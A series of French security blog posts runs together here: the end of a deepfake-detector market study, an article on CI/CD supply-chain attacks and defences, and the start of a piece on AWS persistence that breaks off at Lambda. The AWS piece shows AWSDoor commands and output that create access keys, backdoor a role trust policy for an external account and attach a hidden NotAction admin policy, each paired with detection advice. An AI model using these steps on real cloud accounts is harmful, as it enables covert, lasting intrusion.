• La requête API, intégrable dans d’autres softwares, reste la façon privilégiée d’appeler les services permettant la détection des deepfake ; 
• Des plateformes GUI6 complètes en SaaS, certaines d’entre elles ayant déjà été déployées on-premise dans certains contextes, notamment en secteur bancaire ou de l’assurance ; 
• Des conteneurs dockers on-device, permettant notamment d’ajouter des plug-ins à des périphériques audio, vidéo ou à des logiciels de vidéoconférence pour une intégration adaptée aux besoins spécifiques de détection. 

Les cas d’usages des solutions de détection de deepfakes : tendances et évolution 

Des cas d’usages spécifiques aux besoins business critiques à protéger 

Pour s’adapter et répondre aux attentes et besoins du marché, les éditeurs se sont spécialisés pour répondre à des cas d’usage précis. En plus de la réponse « deepfake ou contenu original ? », certains éditeurs développent et proposent des fonctionnalités supplémentaires pour cibler un usage spécifique de leur solution. 

Figure 2 – Répartition des solutions selon le cas d’usage business ciblé 

Nous avons regroupé les différentes propositions des éditeurs en grandes catégories nous permettant de comprendre les tendances du marché : 

• KYC et vérification d’identité : dans les processus d’onboarding bancaire ou d’ouverture de compte en ligne, la détection de deepfake permet de distinguer une véritable vidéo d’un usager d’une imitation générée par IA. Cela protège les institutions financières contre l’usurpation d’identité et le blanchiment d’argent. Ces solutions vont notamment pouvoir donner des scores de « liveness » ou de taux de correspondance à la personne devant être identifiée pour affiner la détection. 
• Veille sur les réseaux sociaux et identification des sources : Pour éviter que des faux médias ou informations ne viennent s’attaquer à la réputation de leur client, certains éditeurs de solution ont déployé des veilles sur les réseaux sociaux ou des outils d’analyse de contenu multimédia en pièce jointe de mail pour réagir rapidement. Les fonctionnalités de ces solutions permettent notamment de comprendre comment et par quel modèle de deepfake ces contenus malveillants ont été produits pour aider à tracer la source de l’attaque. 
• Documents falsifiés et fraude à l’assurance : un certain nombre d’acteurs se sont tournés vers la lutte contre la fraude à l’assurance ou aux fausses pièces d’identité. Leurs solutions cherchent alors à détecter des altérations dans des pièces justificatives ou des photos de sinistres en mettant en évidence quelles parties de l’image d’origine ont été modifiées. 
• Détection des arnaques téléphoniques et usurpation d’identité en appel vidéo : ces types d’attaque se multiplient et reposent sur la création d’imitations réalistes de la voix ou du visage d’un dirigeant notamment pour tromper des collaborateurs et obtenir des virements ou informations sensibles. La majorité des systèmes de détection ciblant ces attaques ont développé des capacités d’intégration complète dans les logiciels d’appel vidéo ou sur les cartes sons des appareils à protéger. 

Ainsi, chaque solution est pensée avec des fonctionnalités spécifiques, alignée sur les besoins du marché pour maximiser la pertinence et l’efficacité opérationnelle des solutions de détection. 

L’open-source comme initiateur, les solutions propriétaires pour prendre le relai 

Nous avons parlé jusqu’alors de solutions majoritairement propriétaires. Cependant, l’approche open-source existe bel et bien dans ce domaine. Ces initiatives jouent un rôle important dans la recherche académique et l’expérimentation, mais elles sont souvent moins performantes et moins robustes face à des deepfakes sophistiqués. 

Si certaines proposent de très bons résultats sur des bancs de tests maitrisés (jusqu’à 90% de performance de détection7), les solutions propriétaires proposées par des éditeurs spécialisés offrent en général de meilleures performances en production. Elles se distinguent aussi par l’accompagnement : mises à jour régulières, support technique et services de maintenance, indispensables pour des environnements critiques comme la finance, l’assurance ou le secteur publique. Cette différence crée progressivement un écart entre la recherche open source et les offres commerciales, où la fiabilité et l’intégration en environnements complexes deviennent des arguments clés. 

Les faux positifs, la limite qu’il reste à repousser 

Beaucoup d’éditeurs mettent en avant leur capacité de performance de détection de contenu deepfake. Il nous a paru important de prolonger les tests pour comprendre les performances de ces solutions sur les faux positifs : les contenus réels sont-ils détectés comme du contenu naturel ou comme du contenu deepfake ? 

Les évaluations que nous avons menées sur plusieurs solutions de détection mettent en lumière des résultats contrastés selon les types de contenus.  

• Pour l’image et la vidéo : près de 40 % des solutions testées rencontrent encore des difficultés à gérer correctement les faux positifs. Sur ces solutions, nous pouvons obtenir entre 50% et 70% des images réelles analysées considérées comme deepfake. Cela limite alors leur fiabilité notamment si elles sont soumises à de nombreux contenus.  
• Sur le volet audio, les solutions se distinguent avec des performances plus solides sur les faux positifs : seulement 7%. Seuls quelques échantillons particulièrement altérés (mais sans IA) ou de mauvaise qualité ont été détectés comme deepfake par certaines solutions. 

Pour pallier ces problèmes, certains éditeurs cherchent à combiner le traitement image/vidéo et audio. Aujourd’hui, ces deux modalités demeurent le plus souvent traitées comme deux scores séparés, conservant généralement le score tendant le plus vers le contenu généré par IA. Des pistes d’amélioration sont en cours chez certains éditeurs pour se servir de ces deux scores avec plus de complémentarité pour réduire les faux positifs. 

Quel futur pour la détection de deepfakes? 

Les solutions actuelles ont démontré leur efficacité dans la plupart des conditions existantes aujourd’hui dans l’écosystème d’attaques deepfake. Cependant, dans un contexte où ces technologies et leurs utilisations se réinventent rapidement, les éditeurs vont devoir faire face à deux défis majeurs.  

Le premier axe concerne l’efficacité face aux outils génératifs inconnus : si la maîtrise des technologies de génération les plus courantes est désormais bien établie, les écarts de performance apparaissent lorsqu’il s’agit de détecter des contenus produits par des technologies émergentes, moins documentées et plus opaques.  

Le second axe clé réside dans la détection en temps réel. À ce jour, seulement 19 % des solutions intègrent de telles fonctionnalités, et même parmi celles-ci la performance observée demeure insuffisante pour répondre à ces besoins qui seront les vraies préoccupations de demain. Pour contraster ces propos, des progrès notables apparaissent déjà du côté de la détection audio, qui se profile comme une avancée prometteuse pour renforcer la sécurité dans des scénarios critiques de phishing ou fraude au président via appel audio deepfake. 

La maturité du marché dans ces technologies de pointe s’accélère, et tout laisse à penser que les solutions de détection rattraperont rapidement leur retard face aux dernières avancées en matière de création de deepfakes. Les prochaines années seront déterminantes pour voir émerger des outils plus fiables, plus rapides et mieux intégrés aux besoins métiers.  

Cet article Radar de solutions anti-Deepfake :  étude de l’écosystème des solutions de détection de contenu généré par IA  est apparu en premier sur RiskInsight.

Les attaques impliquant ces chaînes d’approvisionnement introduisent de nouveaux risques dans les systèmes d’information. Des intrusions peuvent entraîner des fuites de propriété intellectuelle, des altérations de code source, des interruptions de service ainsi que des élévations de privilèges vers des parties plus critiques du SI.  

Quels sont donc ces nouveaux vecteurs d’attaques sur les chaînes CI/CD et comment s’en protéger ? Cet article vise à dresser un panorama de chemins de compromission observés sur le terrain, ainsi que des recommandations pour les contrer. 

Quels risques pour les chaînes CI/CD ? 

L’attaque de SolarWinds en 2020 est un exemple qui ne cesse d’être énoncé, mais qui a mis en lumière l‘ampleur qu’une attaque de ce type peut causer. Après avoir vraisemblablement volé des identifiants FTP laissés en clair dans un ancien dépôt GitHub, l’opération a exploité la chaîne d’approvisionnement de SolarWinds en insérant un beacon C2 (Command & Control) dans leur logiciel de gestion réseau, Orion, en amont du processus de signature. 

Cette backdoor a permis aux attaquants d’accéder aux réseaux internes de plusieurs agences gouvernementales américaines et entreprises privées, et ce, pendant plusieurs mois avant d’être détectée. 

Cet incident, ainsi que des plus récents comme Log4Shell, Codecov et XZ Utils, ont non seulement souligné la nécessité d’une sécurité accrue dans la chaîne CI/CD mais aussi celle d’une réponse à incident beaucoup plus adaptative. L’OWASP présente de façon concrète un panorama des surfaces de risques les plus communes dans leur Top 10 CI/CD Security. 

Fig 1 – Top 10 OWASP CICD-Sec 

Quels retours terrain chez Wavestone ? 

Les audits et tests d’intrusion permettent de détecter des vulnérabilités de façon proactive avant qu’elles ne soient exploitées par des attaquants. En simulant de réelles attaques, ces évaluations offrent une perspective pratique sur la manière dont un système peut être compromis, ce qui permet d’appréhender plus concrètement les potentielles failles dans un système. 

Les différentes interventions menées chez nos clients nous permettent de faire un constat clair : 

• Dans nos audits Cloud et CI/CD, des vulnérabilités sont systématiquement trouvées au niveau des chaînes CI/CD, permettant dans la majorité des cas de prendre le contrôle de la chaîne, des artefacts, voire des infrastructures sous-jacentes.  
• De même, au niveau de nos interventions CERT & RedTeam, nous observons que les chaînes CI/CD sont souvent utilisées comme accélérateur dans les chemins de compromission. 

Regardons ensemble deux exemples d’attaque observés par nos équipes d’audit : 

Ce premier test d’intrusion en boîte grise a permis la compromission totale d’une organisation Cloud AWS (600+ comptes) en partant de comptes standards de DevOps. 

Dans ce scénario d’attaque, 

• Un attaquant pousse du code malveillant vers un repository GitLab, déclenchant une pipeline dans GitLab CI qui déploie ce code dans un pod Kubernetes générique. 
• Ce code ouvre un reverse shell, permettant à l’attaquant de se connecter à distance à l’environnement Kubernetes. 
• Depuis ce pod, l’attaquant exploite le fait que le compte de service associé au nœud dispose de privilèges trop élevés (capacité de patcher des jetons dans le cluster) et patch le jeton du nœud administrateur par un jeton générique. 
• Quand un redéploiement est déclenché, le pod malveillant ne peut qu’être déployer sur l’ancien nœud administrateur bénéficiant toujours des droits admin. 
• Cela permet donc à l’attaquant d’obtenir des privilèges élevés et de se latéraliser dans l’infrastructure AWS, compromettant ainsi le cluster Elastic Kubernetes Service (EKS) et les ressources associées. 

Regardons maintenant un deuxième exemple : 

Fig 3 – Condensé de plusieurs typologies d’attaques observées dans les CI/CD de nos clients 

Ce condensé, présenté à la DefCon & BSides 2022, met en évidence comment différents composants d’une chaîne peuvent être utilisés dans une attaque. Retrouvez cette présentation détaillée sur les nouveaux vecteurs d’attaque liés aux CI/CD en vidéo ! 

Quelles recommandations pour sécuriser sa chaîne CI/CD ? 

La chaîne CI/CD est désormais devenue un composant systémique des systèmes d’information pouvant être utilisée afin de compromettre des ressources critiques d’une entreprise. 

Nos recommandations en matière de sécurité de la chaîne CI/CD peuvent être articulées autour de trois grands axes : la gestion des identités et des accès (IAM), une meilleure conception de la chaîne CI/CD, ainsi que sa surveillance. Ces recommandations suivent notamment le guide DevSecOps de l’ANSSI. 

Fig 4 – Trois grands axes de recommandations pour sécuriser une CI/CD 

Gestion des identités et accès (IAM) 

Fig 5 – Recommandations IAM

Gestion des identités 

Outre les règles traditionnelles de gestion du cycle de vie des identités, il est recommandé d’utiliser systématiquement du Single-Sign On (SSO) avec authentification multifacteur (MFA) afin de réduire significativement le risque d’intrusion en CI/CD. Cela assurerait par exemple que les utilisateurs qui accèdent aux dépôts de code, qui signent un commit ou effectuent tout autre action privilégiée soient légitimés. 

Contrôle des accès 

Il est nécessaire de limiter au maximum les droits des utilisateurs et des comptes de service selon leur fonction dans la chaîne CI/CD, toujours en suivant le principe du moindre privilège. Les comptes sans mot de passe gérés par jetons d’accès doivent également être soumis à une gouvernance claire, avec des règles de cycle de vie, de rotation et de recertification régulière pour réduire les risques liés à leur utilisation. 

Cela peut aussi se faire en passant par du contrôle d’accès basé sur les rôles (RBAC). Par exemple, il ne serait pas utile de manière générale de donner un accès en écriture sur la configuration de la chaîne en elle-même à un développeur travaillant sur un projet spécifique. 

De la même façon, il est pertinent de segmenter ses projets en utilisant différents dépôts de code et de s’assurer que le compte orchestrateur d’un projet n’ait pas des droits excessifs sur le déploiement des projets auxquels il n’est pas rattaché. 

Gestion des secrets 

Les secrets en CI/CD désignent des données sensibles telles que des mots de passe, des clés d’API, des certificats ou des jetons d’accès. Ces secrets permettent notamment d’effectuer des actions privilégiées dans les pipelines et doivent être récupérés de façon automatique. 

Des éditeurs comme HashiCorp proposent des solutions de gestionnaires de secrets pour stocker facilement ses données sensibles et les chiffrer en transit et au repos.  

Conception de la CI/CD 

Fig 6 – Recommandations sur la conception d’une CI/CD 

Segmentation des environnements 

Il est nécessaire de préserver le cloisonnement entre les utilisateurs, les applications et l’infrastructure pour minimiser les impacts en cas de compromission. Reprenant des conseils de l’ANSSI, il faut considérer les actions réalisées par la chaîne CI/CD de production comme des actions d’administration et réduire au maximum le nombre d’utilisateurs pouvant y accéder. De plus, il est nécessaire d’utiliser du chiffrement bout à bout et de s’assurer qu’aucun environnement n’est exposé sur internet. 

Intégration d’outils tiers 

De la même manière que l’attaque SolarWinds, un grand nombre d’attaques de type supply-chain sont à l’origine un composant tiers compromis dans une chaîne CI/CD. Ces outils tiers sont souvent indispensables au bon fonctionnement des chaînes d’approvisionnement, ils peuvent aller d’un simple add-on sur un espace de développement, jusqu’à un outil de contrôle de version ou un orchestrateur. 

Généralement, ces outils se voient accorder des droits leur permettant d’accéder à des ressources sensibles ou d’effectuer des actions spécifiques au sein de la chaîne CI/CD. Si une vulnérabilité sur un outil n’est pas patchée et est exploitée par un attaquant, la capacité d’intervention sera limitée car la résolution de la faille dépendra souvent du fournisseur de l’outil. Il convient donc d’adopter une gouvernance stricte et un processus de Third-Party Cyber Risk Management (TPCRM) pour ces outils tiers. 

Gestion des artefacts 

Pour éviter de stocker des artefacts malveillants, il est recommandé de les signer en amont de la chaîne pour assurer leur intégrité en vérifiant cette signature au moment de leur déploiement. De la même façon, il faut s’assurer de ne pas déployer des librairies malveillantes en réalisant des scans Software Composition Analysis (SCA) régulièrement. 

Surveillance de la chaîne  

Fig 7 – Recommandations de surveillance 

Journalisation et détection 

Garder un haut niveau de visibilité et de contrôle sur tous les composants de la chaîne permet d’assurer une maintenance plus facile et une réponse plus rapide en cas d’attaque.  

Premièrement, il faut mettre en place une stratégie de journalisation adaptée, en maintenant des logs contenant uniquement ce qui est utile à la traçabilité et la responsabilité en cas d’incident. Il faut aussi s’assurer de stocker ces logs de façon sécurisée, ne pas y laisser des secrets en dur, ainsi que les partager efficacement à son Security information and Event management (SIEM). 

Aussi, pour réévaluer sa posture de sécurité et limiter au maximum les possibles chemins de compromission du pipeline CI/CD, des audits et des tests d’intrusion réguliers sont nécessaires.  

Réponse à incident 

Enfin, il faut s’assurer d’inclure sa chaine CI/CD dans ses plans de réponses à incident au même titre que n’importe quel autre périmètre de son système d’information. Il convient par exemple d’avoir des sauvegardes de son code source et ses configurations ainsi que des plans de continuité d’activités en cas de panne d’un outil. 

En conclusion 

Les chaînes CI/CD sont devenues une véritable pierre angulaire dans les systèmes d’information. Ces composants systémiques sont aujourd’hui indispensables pour développer et déployer des applications. Pourtant, leur criticité dans les SI appelle à mettre en place des mesures de sécurité adaptées pour qu’elles ne deviennent pas un vecteur d’attaques.  

Fig 8 – Quelques composants systémiques et critiques en CI/CD 

Outre les recommandations de cet article, d’autres mesures préventives peuvent se traduire plus précisément par des guides de durcissement pour des outils particuliers d’une chaîne. L’adoption d’une stratégie pertinente de formation des utilisateurs ainsi que de conduite du changement est aussi nécessaire pour réussir ces transformations.  

Un grand merci à Jeanne GRENIER pour sa précieuse contribution à la rédaction de cet article.

Cet article CI/CD : la nouvelle pierre angulaire du SI ?  est apparu en premier sur RiskInsight.

Au cours de la dernière décennie, les infrastructures cloud telles qu’Amazon Web Services (AWS) ont été de plus en plus utilisées pour héberger des infrastructures critiques, gérer des données sensibles et garantir une évolutivité globale. La transition vers des architectures hybrides et cloud-native a profondément modifié les méthodes de déploiement, de sécurisation et de surveillance des infrastructures.

Cependant, à mesure que l’adoption du cloud s’accélère, ses fonctionnalités et sa complexité introduisent de nouveaux défis liés à la sécurisation de ces environnements. Bien que les fournisseurs de services cloud proposent plusieurs mécanismes de sécurité, tels que le contrôle d’accès discrétionnaire et des systèmes de journalisation, de nombreuses organisations peinent encore à mettre en œuvre des stratégies de sécurité efficaces, en raison de la nouveauté de ces environnements. Parmi les erreurs de configuration les plus courantes figurent les mauvaises configurations des rôles IAM, les politiques trop permissives, les identifiants exposés et le manque de visibilité sur les activités cloud-native, qui sont donc autant de failles que les attaquants peuvent exploiter.

Lorsqu’un attaquant obtient un accès initial à un environnement cloud, que ce soit par opportunisme ou par exploitation active, l’action la plus courante après la compromission initiale et l’escalade de privilèges consiste à mettre en place des mécanismes de persistance d’accès dans l’environnement.

Contrairement aux réseaux traditionnels sur site, les environnements cloud offrent une multitude de services et failles de configuration qui peuvent être exploitées pour maintenir un accès à long terme, même après le début des actions correctives.

Dans cet article, nous explorerons le concept de persistance d’accès dans AWS, en analysant les techniques que les adversaires peuvent utiliser pour dissimuler leur présence au sein d’un environnement cloud.

Tout au long de cette article, les fonctionnalités d’un outil dédié, conçu pour simplifier et automatiser le déploiement de techniques de persistance dans les environnements AWS, seront présentées.

Persistance sur AWS

Persistance IAM

Dans le contexte d’AWS, l’Identity and Access Management (IAM) constitue la pierre angulaire de la sécurité. Elle régit les actions que chaque entité peut effectuer dans l’environnement en définissant des rôles, des utilisateurs, des groupes et les politiques associées qui déterminent l’accès aux ressources : si une action ne vous a pas été explicitement autorisée, vous ne pourrez pas l’exécuter.

Globalement, l’IAM fonctionne en associant des identités (comme les utilisateurs ou rôles IAM) à des politiques, qui sont des documents JSON décrivant les privilèges d’un objet IAM sur une ressource.

Ces politiques sont extrêmement granulaires et prennent en charge des conditions telles que les restrictions d’adresse IP, l’authentification multifacteur (MFA) ou l’accès limité durant certaines plages horaires. Les configurations IAM ne se limitent pas à des contrôles d’accès : elles font partie intégrante de l’infrastructure elle-même.

L’IAM est devenu un vecteur puissant de persistance d’accès et, contrairement à un environnement sur site, un attaquant disposant de privilèges suffisants n’a pas besoin de déposer des binaires ou d’exécuter des logiciels malveillants pour maintenir son accès à l’environnement. Il peut simplement modifier les politiques IAM, créer de nouveaux utilisateurs, attribuer des permissions malveillantes à des rôles existants ou compromettre des identités de confiance.

Ce qui rend la persistance basée sur l’IAM particulièrement dangereuse, c’est sa discrétion et sa durabilité. En effet, les modifications apportées à IAM se fondent souvent dans les activités administratives légitimes, ce qui les rend difficiles à détecter. Si l’environnement n’est pas correctement maintenu ou régulièrement audité, identifier une politique malveillante revient à chercher une aiguille dans une botte de foin.

Dans cette section, nous explorerons les techniques courantes et moins connues que les attaquants peuvent utiliser pour établir une persistance d’accès en modifiant les configurations IAM. Nous analyserons des exemples concrets et mettrons en évidence les indicateurs que les équipes de défense doivent surveiller afin de détecter et de répondre à ces tactiques souvent négligées.

AccessKey

Attaque

La technique de persistance la plus élémentaire consiste à ajouter une AccessKey à un utilisateur.

Sur AWS, les utilisateurs peuvent se connecter via l’interface en ligne de commande (CLI) en utilisant une AccessKey. La méthode la plus simple pour établir une persistance consiste à déployer une AccessKey sur un utilisateur disposant de privilèges élevés.

Une fois la clé créée pour cet utilisateur, l’attaquant peut accéder à AWS via l’interface en ligne de commande avec les privilèges de l’utilisateur.

Cependant, cette technique présente certaines limitations :

• Un utilisateur ne peut avoir que deux AccessKey enregistrées simultanément.
• Certaines SCP (Service Control Policies), des politiques globales appliquées par l’organisation sur un sous-compte, peuvent empêcher l’utilisation des AccessKey ou imposer l’authentification multifacteur (MFA).

Concernant la limitation du nombre de clés d’accès enregistrées sur un utilisateur, il est possible de :

• Lister les AccessKey enregistrées sur un utilisateur
• Obtenir la dernière date d’utilisation de l’AccessKey : en général, si un utilisateur possède plus d’une AccessKey, la seconde a été perdue, ou n’est plus utilisée et peut être désactivée et supprimée avec un risque acceptable
• Supprimer l’AccessKey inutilisée

Pour lister et supprimer une AccessKey, les privilèges suivants sont nécessaires :

•  iam:ListAccessKeys : permet de récupérer les détails des AccessKey
•  iam:UpdateAccessKey : permet de désactiver la clé avant sa suppression
•  iam:DeleteAccessKey : permet de supprimer effectivement l’AccessKey

Il est possible d’enregistrer un dispositif MFA sur un utilisateur spécifique sans son consentement, ce qui permet de contourner la restriction. Cependant, si la connexion via AccessKey est refusée, cette technique ne peut pas être utilisée.

Pour ajouter une AccessKey à un utilisateur, le privilège suivant est requis :

•  iam:CreateAccessKey

Pour ajouter un dispositif MFA à un utilisateur, les privilèges suivants sont requis :

•  aws:CreateVirtualMfaDevice
•  aws:EnableMfaDevice

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m AccessKey -u adele.vance

[+] Access key created for user: adele.vance
[+] Access key ID: AKIAWMFUPIEBGOX73NJY
[+] Access key Secret: p4g[…]i7ei

La clé est ensuite ajoutée à l’utilisateur :

Défense

Bien que l’ajout d’une AccessKey à un utilisateur soit le moyen le plus simple d’obtenir une persistance dans un environnement AWS, il s’agit également de l’une des méthodes les moins discrètes.

En effet, si l’équipe de détection identifie la compromission de l’environnement, elle peut facilement retrouver l’AccessKey déployée par l’utilisateur compromis via les journaux AWS CloudTrail :

De plus, certaines solutions de sécurité, telles que les systèmes de gestion de posture de sécurité cloud (Cloud Security Posture Management), peuvent détecter ce type de persistance si les utilisateurs n’emploient généralement pas d’AccessKey.

Enfin, à titre de recommandation, il est généralement préférable d’éviter l’utilisation d’utilisateurs IAM avec AccessKey et de privilégier l’utilisation d’AWS SSO :  https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html.

Une fois l’authentification SSO configurée, le nombre d’utilisateurs « humains » tombe à 0, seuls les utilisateurs de service restant. Il devient alors plus facile de repérer les AccessKey malveillantes et de surveiller de près celles existantes (par exemple, les utilisateurs de service CICD).

Trust Policy

Dans AWS, les rôles sont des objets IAM utilisés pour déléguer l’accès entre les services, les comptes ou les utilisateurs. Contrairement aux utilisateurs IAM, les rôles ne possèdent pas d’identifiants à long terme. Ils sont plutôt assumés (utilisés) via l’API sts:AssumeRole, qui renvoie des identifiants temporaires accordant les autorisations définies dans les politiques d’autorisations du rôle.

Pour contrôler qui peut assumer un rôle, AWS utilise un document spécifique appelé Trust Policy (Politique de confiance). Une Trust Policy spécifie les identités de principaux de confiance (utilisateurs, rôles, comptes, services ou utilisateurs fédérés) autorisées à assumer le rôle. Si un principal n’est pas listé dans la politique de confiance d’un rôle, il ne peut tout simplement pas l’assumer, quelles que soient les autorisations qu’il détient ailleurs.

Exemple de cas d’utilisation pour AssumeRole et la Trust Policy

Imaginez une entreprise disposant de plusieurs comptes AWS :

• un pour le développement
• un pour la préproduction (staging)
• un pour la production

Plutôt que de créer et gérer des utilisateurs IAM distincts dans chaque environnement, l’organisation définit un groupe centralisé d’administrateurs dans un compte de gestion.

Chaque compte cible définit un rôle avec des privilèges élevés (par exemple, CrossAdminAccess) et configure une TrustPolicy n’autorisant que les identités IAM du compte de gestion à l’assumer. La TrustPolicy, déployée sur chaque compte cible, ressemblera à ceci :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"
      },
      "Action": "sts:AssumeRole",
    }
  ]
}

Cette approche permet de maintenir une séparation claire entre les environnements tout en conservant un contrôle centralisé. Les administrateurs « changent de rôle » depuis le compte de gestion vers les autres comptes uniquement lorsque cela est nécessaire, sans dupliquer les identifiants. Après l’action AssumeRole, l’administrateur du compte de gestion obtient des privilèges d’administration temporaires sur le compte ciblé.

Attaque

Comme indiqué dans la TrustPolicy précédente, la capacité à assumer un rôle spécifique dans un compte est gérée par la politique qui autorise explicitement un compte externe à assumer un rôle dans le compte cible.

Cependant, rien n’impose à la TrustPolicy de n’autoriser que des comptes connus et de confiance. Un attaquant disposant des privilèges nécessaires pour modifier une TrustPolicy peut y introduire une porte dérobée en autorisant son propre compte AWS à assumer le rôle dans le compte compromis :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::${attackerAccountId}:role/fakeRole"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Une fois cette politique appliquée, il est possible d’assumer directement le rôle compromis depuis l’extérieur.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames
[-] Initial trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::438465151234:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] New trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::438465151234:user/ADM01",
          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] Do you want to apply this change? (yes/no): yes
[+] Trust policy for FAKEROLE updated

 

L’outil permet de :

• Cibler une instruction spécifique avec l’argument -s : par défaut, l’outil injectera la politique de confiance dans la première instruction Allow qu’il trouve. S’il y a plusieurs instructions dans la politique, il est possible d’utiliser le paramètre -s pour cibler une instruction précise.
• Créer une nouvelle instruction avec l’argument -c : avec cette option, il est possible de forcer la création d’une nouvelle instruction avec un nom spécifique (MALICIOUS dans l’exemple ci-dessous).

Défense

Ce type de persistance constitue un mécanisme de persistance puissant dans les environnements AWS. Cette technique ne nécessite pas de stocker des identifiants dans l’environnement victime, ce qui la rend très discrète et durable, d’autant plus que l’équipe de détection se concentre généralement uniquement sur les clés d’accès ou l’utilisation locale des rôles.

La détection de cette méthode de persistance exige une surveillance attentive des modifications apportées aux politiques de confiance. AWS CloudTrail enregistre des événements tels que UpdateAssumeRolePolicy, qui peuvent révéler lorsqu’une politique de confiance est modifiée.

De même, AWS Config peut être utilisé avec des règles personnalisées pour détecter les politiques de confiance (TrustPolicy) ciblant des comptes non gérés.

NotAllow

Attaque

Une politique de rôle IAM (IAM role policy) est un document JSON attaché à un rôle IAM qui définit quelles actions le rôle est autorisé (ou interdit) d’effectuer, sur quelles ressources et dans quelles conditions.

Par exemple, la politique suivante permet au rôle associé de lister tous les buckets S3 du compte :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "*"
    }
  ]
}

Dans la syntaxe des politiques, il est possible d’utiliser un opérateur de négation : au lieu de définir une liste blanche (whitelist) d’actions autorisées, il est possible de définir une liste noire (blacklist) d’actions.

En effet, en utilisant l’opérateur NotAction, AWS appliquera l’effet de l’instruction à toutes les actions, sauf celles explicitement listées.

Par exemple, la politique suivante :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": "s3:ListBucket",
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

Cette politique permettra au rôle d’exécuter toute action sauf l’action ListBucket sur le bucket S3 cloudtrails-logs-01032004 : elle accorde donc au rôle associé des privilèges maximaux sur le compte.

Pour un défenseur, cette politique peut, à première vue, sembler inoffensive car elle cible une ressource S3 précise. En réalité, elle confère des privilèges équivalents à AdministratorAccess au rôle.

Un attaquant peut ensuite installer une porte dérobée (backdoor) sur ce rôle en utilisant la persistance via la TrustPolicy, comme expliqué précédemment, afin d’obtenir un accès complet et à distance au compte AWS compromis.

AWSDoor

Cette technique est implémentée dans AWSDoor :

python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY
[+] The following policy will be added :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": [
        "s3:ListBucket"
      ],
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY
[+] Attaching the policy to FAKEROLE
[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE

Pour la stratégie, il existe deux possibilités :

•  Politique attachée : c’est la méthode la plus courante pour ajouter une stratégie à un rôle. Tout d’abord, une stratégie est créée avec l’instruction NotAction, puis la stratégie est attachée au rôle. La stratégie apparaîtra alors dans le panneau IAM/Policies :

• Stratégie inline (-i) : c’est la manière la plus rapide d’ajouter une stratégie à un rôle. La stratégie est créée directement au niveau du rôle (d’où le terme inline). Bien qu’il soit plus simple de créer ce type de stratégie, cela est généralement considéré comme une mauvaise pratique de configuration, car la stratégie n’apparaîtra pas dans le panneau IAM/Policies, ce qui la rend plus difficile à retrouver lors d’un examen de configuration.

Par conséquent, certains outils de conformité spécifiques peuvent signaler la stratégie inline. Non pas parce qu’elle est malveillante, mais parce qu’elle n’est pas conforme aux bonnes pratiques de sécurité.

Défense

Du point de vue d’un défenseur, l’utilisation de NotAction combinée à l’effet Allow dans les stratégies IAM doit immédiatement susciter des soupçons, en particulier lorsqu’elle est associée à des champs NotResource.

Les stratégies de détection et de mitigation suivantes peuvent aider les équipes de sécurité à se défendre contre ce type d’escalade de privilèges :

•  Surveiller les modifications des stratégies IAM via CloudTrail : toute création ou modification de stratégies IAM peut être suivie dans CloudTrail avec les événements suivants : CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion et SetDefaultPolicyVersion.
•  Enquêter sur les documents de stratégie contenant le mot-clé NotAction : cela peut être automatisé en créant un scénario associé dans CloudWatch (NotAction dans requestParameters.policyDocument).
•  Appliquer un contrôle de conformité avec AWS Config : une règle de configuration personnalisée peut être définie pour signaler toute stratégie incluant NotAction ou NotResource avec un effet Allow.

Persistance basée sur les ressources

Dans AWS, il est courant d’attacher des rôles IAM à des ressources comme des fonctions Lambda, des instances EC2 ou des tâches ECS. Cela permet à ces services d’accéder de manière sécurisée à d’autres ressources AWS, en fonction des autorisations définies dans le rôle. Par exemple, une instance EC2 peut utiliser un rôle pour lire des secrets dans Secrets Manager ou envoyer des journaux vers CloudWatch.

Du point de vue d’un attaquant, cette configuration peut être utile pour maintenir une persistance. S’il parvient à compromettre une ressource disposant d’un rôle hautement privilégié, tel qu’un rôle avec AdministratorAccess, il peut utiliser ce rôle pour interagir avec AWS de la même manière que le ferait la ressource.

Cela signifie que l’attaquant n’a pas besoin de créer de nouvelles informations d’identification ni de modifier directement IAM. Tant qu’il conserve l’accès à la ressource, il peut continuer à utiliser les autorisations du rôle, ce qui rend cette méthode à la fois efficace et plus difficile à détecter.

Lambda

Les fonctions AWS Lambda sont devenues un choix populaire pour exécuter du code dans le cloud sans avoir à gérer de serveurs. Elles permettent aux développeurs et aux organisations d’automatiser des tâches, de répondre à des événements et de créer des applications évolutives qui ne s’exécutent qu’en cas de besoin. Par exemple, Lambda peut traiter des fichiers téléchargés dans S3, gérer des requêtes API ou réagir automatiquement à des modifications dans une base de données.

